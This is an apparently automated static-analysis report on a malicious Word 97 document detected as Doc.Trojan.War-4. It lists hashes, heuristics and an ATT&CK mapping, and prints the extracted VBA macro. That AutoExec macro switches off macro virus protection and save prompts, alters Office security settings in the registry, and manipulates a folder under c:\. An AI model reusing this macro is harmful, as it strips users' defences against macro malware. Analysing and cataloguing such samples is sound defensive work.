Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6a99b7ba31febcc3…

MALICIOUS

Office (OLE)

38.5 KB Created: 2000-03-21 12:21:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 6ef01d5236579f62daf0ddde91a3ddd8 SHA-1: 28cba1ff25ba14efa5813ca21d78cc9c066fcb2b SHA-256: 6a99b7ba31febcc31e305120c6654b0367d0899b02914f3e64fb69f3c3bdd304
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a Microsoft Word document containing VBA macros. The AutoExec subroutine attempts to disable macro virus protection and manipulate files and directories in 'c:\Alevirus99'. This behavior is indicative of a downloader or dropper attempting to prepare the system for a secondary payload, though the specific payload is not present in this sample. The ClamAV detection 'Doc.Trojan.War-4' further supports its malicious nature.

Heuristics 2

  • ClamAV: Doc.Trojan.War-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.War-4
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1262 bytes
SHA-256: 6e288a9fd9bd4107a8617988a1b0c84c819ec41b561a57c54a0798be32dae24e
Detection
ClamAV: Doc.Trojan.War-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub AutoExec()
On Error Resume Next
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
WordBasic.MkDir "c:\Alevirus99"
WordBasic.CopyFile "c:\windows\win.com", "c:\Alevirus99\win.com"
WordBasic.Kill "c:\Alevirus99\*.*"
WordBasic.RmDir "c:\Alevirus99"
System.ProfileString("Options", "EnableMacroVirusProtection") = "0"
WordBasic.MkDir "c:\Alevirus99"
WordBasic.CopyFile "c:\windows\win.com", "c:\Alevirus99\win.com"
WordBasic.Kill "c:\Alevirus99\*.*"
WordBasic.RmDir "c:\Alevirus99"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Excel\Microsoft Excel", "Options6") = ""
WordBasic.MkDir "c:\Alevirus99"
WordBasic.CopyFile "c:\windows\win.com", "c:\Alevirus99\win.com"
WordBasic.Kill "c:\Alevirus99\*.*"
WordBasic.RmDir "c:\Alevirus99"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\8.0\New User Settings\Excel\Microsoft Excel", "Options6") = ""
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.